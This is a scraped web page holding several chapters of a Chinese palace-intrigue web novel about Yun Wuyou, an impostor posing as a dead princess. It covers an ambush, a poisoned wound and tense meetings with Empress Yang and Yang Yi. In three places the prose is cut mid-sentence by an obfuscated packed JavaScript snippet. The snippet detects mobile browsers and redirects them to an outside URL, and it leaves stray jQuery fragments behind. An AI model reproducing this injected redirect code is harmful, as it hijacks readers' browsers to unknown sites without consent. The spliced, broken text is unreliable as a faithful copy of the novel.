再思及那日火场中昌平哭喊着母后的模样,云无忧心中五味杂陈,难以平静,以至于授完课后竟鬼使神差跑到了岑太后的月华殿附近。
月华殿外层层看守,被围得水泄不通,想打探岑太后的消息简直是难如登天。
云无忧在隐蔽处窥视了半晌也没找到丁点儿疏漏,只得暗叹自己这回恐怕是白来一趟。
“你是何人?为何在月华殿外鬼鬼祟祟?”
背后突然响起的凌厉女声惊得云无忧一颤,转头发现是个品级颇高、神色威严的宫女,于是回身作揖道:
“我误入此地,这就离开,还请姑娘见谅。”
而宫女看到她的脸,态度忽地和缓道:
“既是如此,便让奴婢带您离开吧。”
云无忧有些意外眼前人竟然这么好说话,但能脱身是好事,于是点点头,落后半步跟在了她身侧。
路上,宫女和她搭话:“奴婢回舟,如今奉命看守月华殿,不知您今日是怎么过来的?”
云无忧含糊道:“我迷了路,不知怎么就到了月华殿。”
回舟闻言笑了笑,从怀里掏出一个木哨吹了两声。
云无忧顿时被她手中的哨子吸引了视线,她思索一瞬试探着发问道:
“你这哨子声音清亮,看着十分精巧,是从何处得来?”
回舟手上这个木哨,外形声音都跟她之前见过的那两个差不多,只是其上雕刻的花样变成了海棠。
回舟道:“这哨子的来历牵扯一桩陈年旧事,提起来实在令人伤心,奴婢难以言说,还望您见谅。”
人家话都说到这份儿上,云无忧也不好再追问,一时没再出声。
不久后,附近兀的响起一声清脆的长鸣,回舟扬手指向天上道:“您看。”
云无忧顺着回舟所指的方向看去,只见一只长尾蓝鹊此刻正在空中盘桓。
哨音再起,那蓝鹊竟循着哨音站在了回舟小臂上。
云无忧眼中异彩连连,惊喜道:“它会听你的命令?!”
回舟轻抚着蓝鹊溜光水滑的长尾,对云无忧点头:“它虽不通人言,却听得懂奴婢的哨音,能帮奴婢看到许多隐蔽之事。”
云无忧闻言笑得有些讪讪,心道好有灵性的鸟儿,她刚才应该就是被它发现了。
回舟将蓝鹊往她眼前凑了凑道:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506068|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“您认认这只蓝鹊,下回再看见它,就知晓是到了月华殿附近,若是又迷了路,大可跟着它来找奴婢,奴婢领您出去。”
云无忧谢过回舟的好意,学着回舟的样子不住摸着蓝鹊,蓝鹊被摸烦了,不痛不痒地在她手心啄了几下,她也不恼,一边对着鸟大人笑得谄媚,一边仍坚持不懈地骚扰人家,直到离开了重明宫还意犹未尽。
之后几日,云无忧在良王府留心打探着消息,良王与段檀动作不断,在他们的运筹下,朝上的岑大将军一党竟毫无还手之力,生生让前朔州牧霍燃通敌一事成功翻案。
最终岑大将军获罪,被革职夺爵,只能以庶人之礼下葬,朝上众多岑党被牵连贬谪,无人再敢为岑大将军奏本鸣冤。
这日下午,霍冲自诏狱中被释放,官复原职,云无忧随段檀前来接他出狱。
霍冲一瞥见云无忧便压低了眉头,面露不悦。
云无忧见状眉梢微挑,直言相问:“霍小将军对我似有不满?”
这不是第一回了,回想起来,似乎每次霍冲见到她都没有好脸色。
霍冲并未接话,冷哼一声走到段檀身旁,完全不把云无忧放在眼里。
将霍冲的言行收入眼中,段檀沉下脸道:“给曜灵道歉。”
霍冲仍是一言不发,三个人站在诏狱门口对峙起来,气氛一时紧张,引得守门的狱卒都频频伸着脖子往这边看,生怕他们打起来。
云无忧率先打破沉默,笑着递了个台阶:
“霍小将军年少轻狂,我毕竟长他几岁,就不计较了。”
霍冲今年还不满十八,行事难免不够沉稳,她没必要非得较这个真。
霍冲抬眼看她,只冷冷吐出几个字:“鸠占鹊巢,装模做样。”
话音未落段檀就一脚将他踹到地上,踹得他跪倒在地,捂着胸口狠狠咳了两声。
云无忧闻言怔愣片刻,反应了好一会儿才明白过来,霍冲这是在骂她顶替了昭平郡主的位置。
原来是因此才一直看不惯她……
云无忧眉头微动,暗自感慨这程曜灵生前到底是何等人物,竟招惹了这么多人为她痴为她狂。
不过话说回来,程曜灵身上的这些恩恩怨怨爱恨情仇,全都与她云无忧无甚关系,她只是个矢志不渝的反贼。
霍冲看不惯就看不惯吧,只要飞雪盟成事还用得上段檀,她就不会离开良王府。
此时段檀看着地上的霍冲,面色冷肃:“她当年救过你的命,你却如此出言不逊,是想当忘恩负义的小人?”
霍冲从地上起身,唾出一口血沫,对段檀的话隐有不忿,但终究没有再说什么。
目睹将眼前情景,云无忧眉心皱起,心道段檀真是疯得过分,他自己喜欢自欺欺人也就算了,人家霍冲为救命恩人打抱不平有什么错?
霍冲要是跟他段檀一样拿赝品当真,那才是真的忘恩负义。
之后三人一同走在离开诏狱的街道上,云无忧知道霍冲不喜自己,便极少开口,只听着他们二人交谈。
霍冲先是对段檀道谢,感激良王为他父亲翻案,说了些结草衔环之类的话。
段檀则负手道:
“因你父亲沉冤昭雪,如今朝中对先太子旧案多有提及,父王的意思,是想要你牵头,为先太子平反。”
霍冲闻言未有丝毫犹豫,一口应下:“末将回府便写折子。”
段檀颔首:“先太子旧案牵连甚广……”
他话还没说完,就瞥见前方突然出现了一群看不出来历的彪形大汉,这些人筋肉暴突,手中长刀出鞘,刀锋闪着森森寒光,狠厉的目光正紧盯着他们三人。
21. 心火燎原
他们三人均是习武多年,几乎在这些大汉出现的第一时刻就感到了不妙。
段檀当即抬手释放响箭,响箭带着焰火窜向天际,啸声尖锐刺耳,在空中炸开后留下一大团显眼的赤色烟雾,久久不散,传递着他们遇险的消息。
这两日良王亲临大营检阅全军,如今段檀身边并无亲兵护卫,暂时只能以少敌多,三人也知道身处劣势,默契地肩背相抵,围成防御之姿。
段檀利落地抽出腰间长刀,却出乎意料地递给了云无忧。
云无忧迟疑一瞬,虽不明白段檀此举为何,但还是将刀接了过来。
生死攸关之际,靠谁都不如靠自己。
而今这长刀是他们三人唯一的兵器,霍冲见段檀此番动作,简直恨不得活吃了云无忧。
眼不见为净,霍冲转过脸去,深深呼出一口气摒除杂念,攥紧了拳头专心对敌。
此时那些刀客已如饿虎扑食般疾驰到眼前,刀刃破空直奔面门,云无忧背上寒毛倒竖,抓紧了还残留着段檀掌中余温的刀柄,用刀锋挑开那道最先袭来的冷芒。
“呲——”刀刃相撞迸出火星,云无忧旋身错步,猛然发力攻向对方手腕,趁其吃痛又一刀斩向肘部,将骨节砍断大半,温热鲜血泼在她脸上,她眼睛却一眨不眨,夺下刀刃就头也不回地扔给段檀。
段檀正与敌方缠斗,接过刀后如虎添翼,身法刁钻,刀势凌厉,招招致命,不过几息就结果数条人命。
云无忧刀如游龙,反手捅穿身侧偷袭者咽喉,视野四处搜寻,想再寻机夺一把刀给霍冲。
但霍冲可不指望她,已经自己拧断敌方腕骨,卸了把刀攥在手里,她见状也放了心,将大半精力放在正面,只用余光观望着其他二人的方向,一见谁力有不逮,便挥刀过去维护。
然而敌人还是太多,三人逐渐体力不支,身上也都挂了些伤,云无忧连三支腕箭都射尽了。
勉力支撑许久,他们终于在街口看到了金鳞铁骑的身影。
但不只他们看到了,刀客们也看到了,下手顿时更加疯狂,甚至开始以命换命。
他们使尽浑身解数,杀招迭出,明显都是从尸山血海里走出来的,绝非寻常亡命之徒。
在这样的攻势下,强如云无忧,左肩也被削去小半块皮肉,剧痛瞬间在她眼底激起一片浓重血色,她杀性大盛,拧身斩飞两颗头颅,断颈喷出的血瀑浸透她大半个身子,青衫霎时化作血衣。
此刻金鳞铁骑的马蹄声近在咫尺,云无忧挥刀劈开扑向霍冲的几个亡命徒,却不曾顾及自己背后袭来的寒光。
千钧一发之际,段檀旋身挡在她身前,硬生生替她受了这一刀,刀刃入肉时他闷哼一声,就势转腕,一刀砍断敌人喉管。
云无忧无暇思索,腾挪之间将段檀护在身后,接着抹了一把那些溅到自己脸上的血,避免它影响视线,便又开始麻木地挥刀杀人。
刀柄饱饮层层鲜血,开始在她掌心打滑,指间也传来黏腻的滞涩之感,但云无忧甩甩手,刀光掠过,仍收割般带起片片惨嚎与血肉。
直到金鳞铁骑终于到场,瞬息之间将余下刀客挑翻包围起来,云无忧才强压下杀心,查看起段檀的伤势。
段檀此刻冷汗涔涔,神智昏沉,连站立的力气都没有。
云无忧在段檀身上查探一番,见为她挡的那刀在背部左侧,伤口虽深,却并不致命,悬着的心放下些许。
想来段檀毕竟久经沙场,还是知道怎么避开要害的。
霍冲在一旁捂着胳膊拧眉道:“小王爷以前在战场上受过比这还重的伤,也没昏迷不醒,这会儿怎么……”
云无忧闻言似有所觉,用力甩了甩她越来越沉的脑袋,咬紧后槽牙,口中艰难挤出几个字:“刀上有毒。”
霍冲脑中的眩晕之感也愈发严重,他咬破舌尖,血腥味弥漫,勉强恢复神智,强撑着对金鳞铁骑下达命令,将后续之事安排妥当。
云无忧持刀在大腿上划了一道,竭力用疼痛维持着清醒,听完霍冲的安排后才安心地晕了过去。
她伤情不重,中毒较浅,没多久便恢复清醒,只是身体还有些虚弱。
段檀就遭了殃,伤口太深,毒入骨髓,为了保住性命,只能刮骨疗毒。
太医为段檀剖伤口的时候,云无忧原本是想陪同照料的。
岂料她一进卧房,已经恢复了些许意识的段檀就执意让她出去。
她再三坚持,段檀最后倒是不再开口反对,可只要她人在房里,段檀就不准太医动刀,太医也不敢硬来,只好用眼神祈求她。
见实在拗不过段檀,云无忧叹了口气:“罢了,我去外面等着。”
她坐在屋外阶上,眼睁睁看着血水一盆一盆从房里被端出来,段檀却一点声儿也没有,四周静得她心慌。
说到底段檀是因她才受的伤,哪怕挡刀的那一刻段檀想的是程曜灵,那也是实打实地救下了她的性命。
再加上信平侯府火场那次,她算是欠段檀两条命了,这样的恩情,也不知将来要怎么还……
云无忧有些焦躁地咬着下唇,起身在外面反复踱步,熬了半晌终于看见太医出来,立刻闯进屋里去看段檀。
屋内血腥气还未散去,侍从们轻手轻脚地收拾着一切,段檀侧倚床榻,中衣松松垮垮地套在身上,隐约可以看见肩膀处新缠的层层绷带。
他面色苍白得近乎透明,额角青筋直跳,连呼吸都有些费力,可以想见方才是承受过多么大的痛楚。
云无忧着急忙慌进了屋,进屋后见到段檀这副虚弱模样,脚步却踌躇起来,一时不敢靠近他的床榻。
“我这副样子果然骇人,你心生嫌恶也是人之常情。”段檀垂下眉目,手指无意识蜷进锦被,周身气息颓丧。
云无忧连忙否认,上前坐到榻沿,握住他的手真挚道:“你两次救我性命,我感激你还来不及,怎会心生嫌恶?”
段檀抬眼看她,大概因为受了重伤,人也脆弱许多,又蔫又倔地问:“你对我,就只有感激吗?”
云无忧神情微微一顿,十分明白段檀想要的是什么答案,当即笑道:
“小王爷神勇非凡,为救我舍生忘死,我除了感激,更是十万分的倾慕,以身相许犹嫌不够啊!”
段檀闻言眉眼俱笑,唇角也勾起一个轻浅的弧度,如晴光映雪、冰河化冻,往日身上的杀伐之气尽皆褪去,一副毫无防备的柔和模样,看起来几乎像个还涉世不深的少年。
云无忧将这难得一见的笑容收入眼中,心头没由来一阵酸涩,竟不敢直视段檀的眼睛。
她并不是段檀真正想救的那个人,也不是段檀心心念念想要其以身相许的那个人,她只是一个鱼目混珠的赝品,一个别有图谋的骗子。
少顷,段檀收敛了笑意,低声对云无忧吐出四个字:“油腔滑调。”
云无忧立时收拢思绪,扬起眉毛戏谑道:
“我油腔滑调?也不知道方才被我油腔滑调逗笑的人是谁?小王爷,你见过那个人吗?他好像刚刚还坐在这里呢。”
段檀又笑起来,并不跟云无忧耍嘴皮子,只拿起榻边手帕为她擦去额上的汗渍,自己背上的伤口还在渗血,却关心起云无忧了:“怎么一头的汗?”
云无忧许久不曾被人这样悉心对待,在原地呆了一会儿才反应过来,按下段檀抬起的那只手不让他乱动,轻声叹道:“还不是因为担心你,在外面急出来的。”
段檀没料到她就这样直白地道出真心,不由得也呆了几息,回过味后,双目灼灼发亮地盯着云无忧不放。
云无忧的脸中暑般迅速烧了起来,疯狂眨着眼,像是在试图
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506069|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用睫毛给自己扇风,以期扇灭这股燎原的心火。
二人之间,某种心照不宣的氛围渐渐弥漫,将这一方天地紧紧围裹。
云无忧这会儿虽然脑子转得很慢,但本能般察觉到不对,极慌乱极生硬地咳了两声,强行在铺天盖地的暧昧气息中破开一条口子,努力正色道:
“对了,你当时为何要将刀让给我?”
她从未在段檀面前展露过武艺,苏醒后越想那递刀之举越觉得离奇,再加上向来不是喜欢藏着掖着的性子,又已经被段檀救过两次,难免对他生出些许信任,所以干脆直言相问。
不料段檀闻言立马在她额角推了一把:“你还敢说这个?”
云无忧脑袋被推得向后仰去,段檀冷哼一声,面色极为不悦:
“我把刀递给你,就是要你无论如何都能先保全自己,以你的武艺,做到这点绰绰有余,结果你非要犯傻,又救了霍冲那小子一命。”
“我……”云无忧张了张嘴,方才那场烈烈灼烧的心火刹那间熄灭,她僵在原地,终究没能说出什么。
段檀是实打实地拿她当昭平郡主,而眼下,于公她要留在良王府刺探消息,于私段檀已经救过她两回,不论怎么想,她都不该在这时候扫段檀的兴。
做赝品,就该有做赝品的觉悟。
段檀见云无忧似乎不太高兴,也不知道是自己方才说的话太冲,还是手下力气用得太重,心里忍不住有些后悔。
于是拐着弯宽慰了她几句,又借擦汗的由头偷摸给她揉脑门,最后倒给自己折腾出满身的汗。
云无忧发觉后如临大敌,只当他刚解完毒身体太虚,赶紧押着他睡下。
段檀刚经历一场刮骨疗毒,又喝了药,本就疲乏,很快便沉入梦中,云无忧等他睡熟,掰开他那紧紧攥住自己不放的指头,离开卧房走到小花园中,漫无目的地游逛,整理着她纷乱的思绪。
好巧不巧,她又遇到了那个肖似林安的女童。
二人玩闹一会儿,分别之际,云无忧却见女童身体骤然抽搐,摔倒在地,整个人也开始急喘,小脸烧得通红,神智完全混乱,眼睛都睁不开。
她这副模样简直和林安发病时如出一辙,云无忧顿时头皮发麻,脑海中涌现无数往日的痛苦记忆。
但毕竟是危急时刻,云无忧立即狠狠掐了自己一把清醒过来,抱起女童滚烫的身子就往王府中太医处疾驰。
可她还没跑出小花园就遇到了戚娘,戚娘似乎正急着寻找什么,两个人猛地撞在一起,双双倒在地上。
云无忧用身体垫在女童身下,接着搂住她站起身,准备继续赶去太医处,却被戚娘截住了。
戚娘二话不说先给孩子嘴里塞进了一颗药丸,云无忧神色惊疑,但见药丸与当初盟主喂林安吃的那种极为相似,便不曾阻拦。
没过多久,女童不再抽搐,呼吸渐渐平稳,身上的高热也开始退去,只是暂时还晕着醒不来。
见此,在场的两个大人都松了口气。
云无忧心中疑窦重重,迟疑片刻后向戚娘问道:“你是她什么人?”
戚娘从云无忧怀里抱过女童,垂眸道:“回世子妃,奴婢与她并无亲缘,只是受人之托照顾她。”
云无忧不依不饶地追问:
“她叫什么?父母是谁?你可知她得的是什么病?你那药又是从何而来?”
戚娘面不改色道:“她名枳,小字阿宁,还不足三岁,是王爷侍妾所出之女,母亲早逝,病是胎里带的,药是太医给的,余下的,奴婢不甚清楚。”
戚娘的回答几乎堵死了云无忧的话头,她一时讷讷,说不出话来。
戚娘抱着女童向她行过礼后,转身想要离开小花园,云无忧脑中一团乱麻,看着她的背影兀然出声:
“你认识林寻吗?”
22. 以假乱真
戚娘脚步一顿,抱着阿宁回头看她,有些踌躇道:“你见过林寻?林寻……近日可好?”
竟然真的是林寻故交,云无忧眼眶霎时涌上一股热意,喉中止不住哽咽:“林寻……一年多以前……就已经过世了。”
戚娘面色怔忡,呢喃着重复云无忧的话:“过世了……”
云无忧看着她潸然泪下。
二人缓和心绪后,安顿好阿宁,找了个无人之处坐下长谈。
戚娘问起云无忧与林寻的往事,云无忧如实相告:
“天授十九年十一月末,我在家闷久了,偷溜出去打猎,正巧在林子里捡到了昏迷不醒的林寻。
那时候我爹正催我找个人嫁了,我便决定同林寻成婚,可是我爹又不肯了,非说林寻一穷二白来历不明,配不上我。
所以十二月我就带林寻搬出家门,硬是成了这个婚。
第二年夏天,安儿出生了,但他生下来没几天,林寻就病重去世,我爹心疼我一个人拉扯孩子,就又将我和安儿接回老宅。
我们一同抚养安儿,三代同堂,倒也和睦。
可惜好景不长,年末我爹旧伤复发,也撒手人寰。
后来就更坏了,安儿刚会说话便被诊出患有毒症,为给他治病,我卖了沧州的祖产四处求医,最后来到京城。
到京城没多久,安儿也……”
云无忧悲不成声,戚娘眼中也隐有泪光,将她搂在怀里,缓缓拍着背宽慰:“都过去了,都过去了,林寻生前能遇到你,也算是幸事。”
云无忧两眼通红,几乎要滴出血来:
“林寻是再好不过的好人,温柔豁达,至诚至善,遇到林寻,是我之幸才对,可我却连安儿都没能保住,他还那么小……”
戚娘抚着她的头,柔声道:“生死有命,不是你的错。”
云无忧低下头去,深深呼出一口气,缓缓镇定下来,而后向戚娘提出了许多疑问,却都被戚娘语焉不详地含糊了过去。
只在她提到“遇见一个能诊治林安奇症的好心人”之时,戚娘皱眉道:“这好心人是何来头?”
云无忧道:“也是个苦命人,我们同舟共济罢了。”
盟主的身份,她还是得遮掩一二。
戚娘面露惊疑:“苦命人?”
她提醒云无忧:“你听我一句,能治得了林安病症的绝不会是苦命人,你该好好想想,为何你遍寻四方名医,却唯独只有这个好心人能治病,你莫要被这人骗了。”
云无忧闻言心中泛起涟漪。
戚娘说的不无道理,她寻遍四方,为何就只遇到盟主一个人能治林安的病?
旁的医师可都是连分毫头绪都没有,而且看戚娘的反应,这病分明与良王府关系匪浅……
而且盟主若是光明正大,为何从不肯摘下脸上面具?
还有,当初也是盟主告诉她,她长着一张酷似昭平郡主的脸……
云无忧思绪纷乱良久,但最终还是冷静下来。
无论如何,盟主毕竟助她甚多,或许是盟主另有机缘也说不定。
想想飞雪盟那么多苦命人,都是盟主施以援手逐个接纳他们进盟的。
再说做反贼的头领,为保命隐匿身份也完全说得过去。
她不能单凭一件事便钉死一个人,而且戚娘对她遮遮掩掩,颇多隐瞒,纵是林寻故交,恐怕也未必可以全信。
话虽如此,但这番谈话过后,云无忧对盟主的信任,终究是不再如从前那般坚不可摧。
后头的日子里,因着林寻的渊源,她与戚娘和阿宁的关系日益亲密起来。
……
昌平公主死后的五七之日,云无忧与段檀前往信平侯府吊唁。
到门口时,云无忧看着信平侯府的匾额道:
“听说这场祭礼本该同葬礼一般,在昌平公主府操办,是信平侯感念他们夫妻情谊,才放在侯府祭奠。”
段檀伤势尚未痊愈,面色仍有些苍白,对此冷笑一声:“杨遥臣如此惺惺作态,还不是为了接手岑丰的长河营。”
岑大将军前些时日已经以庶人之礼下葬。
云无忧听完笑了笑没接话,毕竟是在人家家门口,她可不是段檀这种能口无遮拦的天皇贵胄。
二人进入正厅,厅内宾客不少,他们找了个稍微清静的位子落座。
坐下没多久,就见外面有侍从高声唱诺:“皇后驾到——”
众人起身接驾。
杨皇后迈入正厅,右手虚抬:“诸位不必拘束,今日公主祭礼,本宫是作为亲眷前来吊唁的。”
云无忧跪伏在地,只觉这声音实在熟悉,起身时忍不住往杨皇后脸上暗瞥一眼。
只见华贵肃穆的素银莲花冠下,是一张被铅白脂粉淡淡覆盖的面容,黛眉入鬓,目如点漆,此刻眸光一转,正对上云无忧视线。
云无忧急忙侧头避过,心中掀起惊涛骇浪。
杨皇后竟是她总在宫中遇到的那个素衣女子!
她一时间心绪纷乱,神思恍惚,找了个借口便离开嘈杂的正厅,想冷静下来捋清眼前境况。
她原本呆坐在后花园的秋千架上神游天外,不料背后却猛地传来一股推力,她惊了一跳扭头看去,却见杨皇后正在为她推秋千。
她不知所措:“……殿下……”
杨皇后道:“我名杨苕,字之华,你不必多礼,待我如从前便好。”
她话是这么说,云无忧却并不当真,当即起身行礼。
杨皇后也没再制止她,绕到秋千架前坐下:“不逗你了,推着我玩会儿。”
云无忧依言为她推起秋千。
过了半晌,杨皇后忽然道:“程曜灵以前也为我推过秋千,她生前常叫我之华,她死以后,已经很久没有人叫过我之华了。”
杨皇后该不会是想从她口中听到之华二字吧?
云无忧垂下眼帘没接这个话茬,而是颇大胆地明知故问道:“您知道小人不是昭平郡主?”
杨皇后轻笑:“知道此事的岂止我一人?只是大家都顾忌着段司年,不愿意戳破罢了。”
云无忧问她:“那您为何将小人召入宫中女学?”
杨皇后攥秋千绳的手紧了紧,但仍面色如常道:“深宫寂寞,召你进去寻些乐子。”
云无忧眉心皱起,冲口而出:“寻乐子?然后初见就杀我?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506070|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
杨皇后用余光瞥了她一眼,语气淡淡:“起初我以为你只是个拙劣的赝品,的确是想要你死的,可后来却发现,你几乎能以假乱真,便改了主意。”
这些朱紫权贵,当真是视人命如蝼蚁……
云无忧压下心中不平,低眉沉吟片刻,试探着问杨皇后道:“您很想念昭平郡主吗?我们每次见面,您都在谈论她。”
杨皇后闻言身形一顿,停下还在晃荡的秋千,平静无波地望向云无忧:“我是不是没告诉过你,后来跟程曜灵反目的,不只是昌平,还有我。”
骤然得知此事,云无忧神情一怔:“是小人失言了。”
昭平郡主身上的爱恨情仇总是这样出人意料。
杨皇后并不计较:“不知者不罪。”
她又问云无忧:“你的功夫是从何而来?那天御林苑围猎,我瞧你马术射术都不错,很有程曜灵从前的风采。”
云无忧回想起当天情景,面色微动:“那天……您看到小人与程若鱼争执了?”
杨皇后道:“程若鱼当时叫得那么大声,要不是我在外围拦着,你们早就被护卫叉走了。”
云无忧道了句谢,随后回答起杨皇后之前的疑问:“小人之父是从沧州边陲退下来的老兵,小人身上的功夫,还有马术射术都是他教的。”
杨皇后了然点头:“如此说来,你也是塞北出身……难怪和她如此相似。”
而后又问云无忧:“你既是沧州人,可听说过沧燕北部交界之地有一部族,名曰九妘?”
“九妘……”云无忧努力回想,随后一脸茫然地摇头:“不曾听说。”
杨皇后目光从她脸上移开,目光飘远,望着天际低声念道:
“太胥山下,仙鹤潭边,母尊女贵,九天云随……传说九妘人最后一次在中原露面,是虞朝末年天下大乱,她们趁势盗走了传国玉玺……”
云无忧听得云里雾里,半晌才接上话:“小人只听说过沧州之北的太胥山,据小人父亲所说,那山会吃人,凶险至极,不可靠近。”
杨皇后没再说什么,转了话题:“本宫要开青鸾司,明日下旨,下月末会选官八百,先从女学师生里选起,无论是人数,还是权位,都远超穆元太后当年女骑。
本宫想在青鸾司里看到你,而且最好——是由你来做本宫的大统领。”
对杨皇后抛来的橄榄枝,云无忧并无兴致,要她一个反贼去做皇后身边卫队的统领,变成朝廷鹰犬,用昌平的话来说——真是滑天下之大稽。
杨皇后看着她的神色道:“此事你不必急着答复本宫,下月中本宫在御林苑选官时,你自可决定来与不来。”
少顷,远处有侍从对杨皇后做了什么手势,杨皇后随之离去。
云无忧也离开秋千架,思量着杨皇后其人,不知不觉便走到了一处无人的围墙下。
撞到墙上后,云无忧抬手揉了揉头,转身往回走。
此刻身旁突然出现一个人,拉住了她的胳膊。
云无忧抬眼看去,见是杨弈,立即行礼。
杨弈却不似往日那般温和,压低了眉头盯着她道:
“是你动了羽林军军印?”
23. 雁啄了眼
杨弈发现了?!
云无忧心中一震,但对这一天也早有预料,面上很快浮起茫然之色:“什么印?我听不明白侯爷的话。”
杨弈笑容冰冷:“假传我令劫京郊大狱,救出飞雪盟那批反贼,又暗探陛下寝宫让皇后借机发难,今早撤了羽林军宿卫之职,云姑娘,你究竟是谁的人?”
劫京郊大狱的确是她们飞雪盟,可暗探皇帝寝宫……飞雪盟里大都是走投无路的穷苦人,哪来的宫内势力?
她虽惊疑不定,但这会儿也来不及多想,登时满脸惊诧地回应杨弈:
“皇后娘娘撤了羽林军职位?!侯爷要不再跟娘娘求求情,你们毕竟是兄妹,说不准娘娘会回心转意?”
杨弈见状眯起眼睛注视着她,像条瞄准了猎物的蛇。
云无忧不动声色,将杨弈正压在自己小臂伤痕上的手挪开,故作自然地关切道:
“昌平公主刚刚仙逝,羽林军又被撤职,侯爷心里不爽快也是应当的,但为保重身体,还是宽心些为好。”
羽林军军印留下的烧伤印记,她上回从飞雪楼出来后就用新伤彻底覆盖掉了,如今那伤处只剩一团狰狞而模糊的厚痂,即便是杨弈派人验身,也看不出什么。
但杨弈并没费那个功夫,而是直接出手扼住了她的咽喉。
纵使杨弈不精武道,成年男子的力量也不容小觑,云无忧被他掐得喘不过气,当即施展武艺,劈开杨弈的胳膊挣脱束缚,拔下头上银簪横在了杨弈脖颈处。
不料刚刚脱险,气还没喘匀,一把闪着寒芒的长剑就对准了她的面门。
云无忧顿时寒毛倒竖,警惕地上下扫视持剑人,他一副信平侯府下人打扮,看似其貌不扬,但云无忧一眼便知此人武艺之高恐怕不亚于她,丝毫不敢掉以轻心。
此时杨弈开口道:“云姑娘,我竟不知你还有这般功夫。”
云无忧并未回应,整个人像绷紧的弓,只死死盯着持剑人的动作。
杨弈又道:“在信平侯府劫持信平侯,云姑娘,你可真是大胆。”
已经到了这个时候,云无忧也不再隐藏她的锋芒,利刃出鞘般冷声质问:“侯爷这话真是颠倒黑白,起初分明是你想要我的命,怎么这会儿就成了我劫持你?”
她语气凌厉得几乎带着刀光,杨弈却悠悠道:“我若真想要你的命,你如今已横尸在此。”
云无忧嗤笑一声:“所以侯爷方才是在拿我的命试探我?”
杨弈微笑:“还不算太蠢。”
云无忧攥着银簪的手紧了紧,脸上没有丝毫温度:“人命在你们这些王公贵族眼里,真是轻贱。”
杨弈眼中闪过一抹精光,敏锐道:“你说话的口吻,倒很像飞雪盟里的那些反贼。”
云无忧面不改色:“我只是个家破人亡的寡妇,略通些拳脚罢了,侯爷若是想拿我当反贼擒住,去邀功请赏,我也不能如何,至多就是拼了这条贱命,和侯爷同归于尽。”
杨弈语气危险:“你这是在拿我的性命要挟我?”
云无忧手中银簪重重压向杨弈颈上脉搏:“那又如何?谁也没有第二条命,侯爷若不肯放过我,我自然也不能放过侯爷。”
杨弈闭目轻叹,暗中对持剑人做了个手势。
他本以为云无忧肖似程曜灵,又对他颇有情意,是想将云无忧当做布在段檀身边的一枚暗棋,不曾想他终日打雁,如今却被雁啄了眼。
持剑人会意,袖中当即射出一枚暗器,对准云无忧太阳穴而去。
云无忧警觉侧头,瞬息间左手一翻发出一枚腕箭,将那暗器打偏。
二人顿时一招一式地较量起来,半晌都难分胜负。
就在他们僵持不下之际,一道带着罡风的刀光闪过,持剑人手中的剑刹那便被斩断,半截剑刃落地,插进了土里,战局瞬间结束。
见到熟悉的长刀,云无忧抬眼看去,来人果然是段檀。
“你们信平侯府的人就是这样待客的?”段檀并未收刀,沉声质问杨弈。
杨弈此时还被云无忧用银簪抵着命脉,闻言皮笑肉不笑地反问:“你们良王府的人就是这样做客的?”
段檀不欲跟他逞口舌之快,只看向云无忧问道:“你想杀杨遥臣?”
听段檀的口气,恐怕云无忧只要稍微点头,他下一刻就能把刀架到杨弈脖子上去。
可惜云无忧摇头否认:“信平侯欺人太甚,我为自保才出此下策。”
段檀眉梢微扬,一把将杨弈从云无忧怀中推出去,又将银簪插回云无忧的发髻,揽着她的肩对杨弈道:
“还请信平侯日后离我世子妃远些。”
杨弈被段檀推得踉跄几步,稳住身形后,对他露出了一个异常微妙的笑:“小王爷该让你的世子妃离我远些才是。”
杨弈实在太明白如何激怒段檀,果不出他所料,此言一出,段檀目光登时变得无比森寒,攥着刀柄的手也暴起青筋,看杨弈像是在看死人。
但这毕竟是信平侯府,人在屋檐下,云无忧真不敢任段檀乱来,赶紧掰开他紧扣刀柄的手指,将长刀收回鞘里,硬是把人给拉走了。
他们身后,杨弈单手摩挲着脖颈,神色晦暗难辨。
云无忧固然可恨,但他今日行事也未免太莽撞了,莽撞到完全不像平日的自己,几乎回到了少不更事的许多年前。
“呵……”
原地伫立许久,杨弈忽地低笑出声。
那张脸的确是威力非凡,不但段檀沉湎其中,连他也泥足深陷而不自知,幕后之人果真好手段。
……
出了信平侯府,段檀问云无忧:“你怎么跟杨遥臣打起来了?”
云无忧隔着衣料摸了摸小臂上的伤痕,故作无奈地叹息:“信平侯误会我动了他的军印,还非说我是什么盟的反贼,我怎么解释他都不听,这才动起手。”
段檀早恨透了他们过从甚密,这会儿听了云无忧的话,立刻开始不遗余力地落井下石:“无能之人,惯会藏奸,何必同他多费唇舌,日后不再来往便是。”
